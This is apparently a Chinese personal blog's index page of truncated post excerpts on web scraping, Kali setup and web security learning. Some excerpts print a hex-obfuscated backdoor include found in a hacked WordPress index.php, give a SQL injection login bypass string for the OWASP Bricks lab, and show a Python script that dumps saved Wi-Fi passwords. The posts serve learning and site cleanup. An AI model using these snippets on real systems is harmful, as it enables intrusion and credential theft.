20,04,2018
|
dengwen168 |
学习要点：
1、url拼接
2、通过xpath helper获得xpath路径
3、学习爬虫的整个流程
标记一下：
整理文章内文：
'/n'.join([p.text.strip() for p in soup.select('#artibody p')[:-1]])
一、创建项目
进入到要工作目录，执行scrapy startproject Tencent
二、创建爬虫
进入Tencent，再进入Tencent目录，运行以下命令，生成一个爬虫
这里虽然是在\tencent\tencnet\目录下执行这个命令，但是创建的爬虫 ...
11,04,2018
|
dengwen168 |
查看wordpress源码时，发现有一大堆混乱的代码：
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.4\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.4\/svg\/","svgExt":".svg","source& ...
10,04,2018
|
dengwen168 |
最近我的博客访问速度非常慢，怀疑被挂马了，一看果然如此。
打开wordpress根目录下面的index.php，发现多了一行代码：
@include "\x2fh\x6fm\x65/\x73n\x61i\x6ct\x6fd\x61y\x38s\x66n\x32a\x73i\x73l\x74t\x69o\x37d\x72a\x65y\x2fw\x77w\x72o\x6ft\x2fw\x70-\x69n\x63l\x75d\x65s\x2fi\x6da\x67e\x73/\x77l\x77/\x66a\x76i\x63o\x6e_\x363\x664\x644\x2ei\x63o";
来到https://tool.lu/js ...
09,04,2018
|
dengwen168 |
网上已经有详细的教程，所以只记录一下容易忘记的东西：
使用的虚拟机版本：VMware® Workstation 14 Pro 14.0.0 build-6661328
1、最开始安装时，设定好虚拟机，然后一直黑屏，无法进入安装界面。开始一直找不到原因，重装VMware也不行，怀疑是和鲁大师有冲突，后来卸载了鲁大师，重启之后，正常。
2、安装成功后，进入kali,可是显示的屏幕好小，通过安装vm-tools解决。步骤如下：
（1）、更改系统配置
...
08,04,2018
|
dengwen168 |
使用的是owasp bricks，源码可以在这里下载：https://sourceforge.net/projects/owaspbricks/，然后在自己电脑上测试。
代码：
password' or '1'='1
测试
其实不用自己安装，看雪WEB安全小组与比格云合作，提供了在线测试平台：http://43.247.91.228
附其他的测试平台：
1.DVWA
DVWA是著名的OWASP开放出来的一个在线web安全教、学平台。提供了：暴力破解、命令执行、CSRF、文件包含、SQL注入、XSS学 ...
08,04,2018
|
dengwen168 |
抓取https://list.proxylistplus.com/Socks-List-1这里的Socks5代理。
#!/usr/bin/python
import requests
import re
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko/20100101 Firefox/50.0',
}
socks5ip=open("/tmp/socks5.txt","r")
while True:
line = socks5ip.readline().strip("\n")
if not li ...
07,04,2018
|
dengwen168 |
QQ群里有人发了一个网站，点进去一看，是这样的。
很简单的一个博客，除了左边的标签云中都是一些高价adsense关键字，并没有什么显眼之处，但是发链接的那个人看到的是这样的：
怎么实现的呢？
下面我们就来分析一下：
一、奇怪的JS文件
网页源码中有一行奇怪的JS文件，
<script type="text/javascript" src="/ck.js"></script>
1.看看它的代码：
var cookieStri ...
06,04,2018
|
dengwen168 |
一、创建php文件
首先要新建一个PHP登陆表单页面用来测试，样式如下：
代码如下：
<!DOCTYPE html>
<html>
<head>
<title>Testing Script Brute Force in Python</title>
<meta charset="utf-8">
</head>
<body>
<?php
if(isset($_POST['sub'])){
$input1 = $_POST['input1'];
$input2 = $_POST['input2'];
...
05,04,2018
|
dengwen168 |
今天在注册gmail时，第一次注册成功了，也成功地用自己的手机号码接收到了电话验证码。不过由于注册时输错了账号，所以不得不删除账号，重新注册。
不过第二次注册时，输入同一个手机用来接收验证码，老是提示“此电话号码无法用于进行验证”。
后来经过一番折腾，终于找到了解决方法，原来因为是翻墙注册的，注册的第一步，选国家的时候一定要根据你的VPN的国家来选（经测试，直接选美国也是可以的），不是 ...
05,04,2018
|
dengwen168 |
首先查看一下有哪些Wifi,
netsh wlan show profiles
import subprocess
a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
results = subprocess.check_output(['netsh','wlan','show','profiles', i , 'key=clear']).decode('utf-8') ...
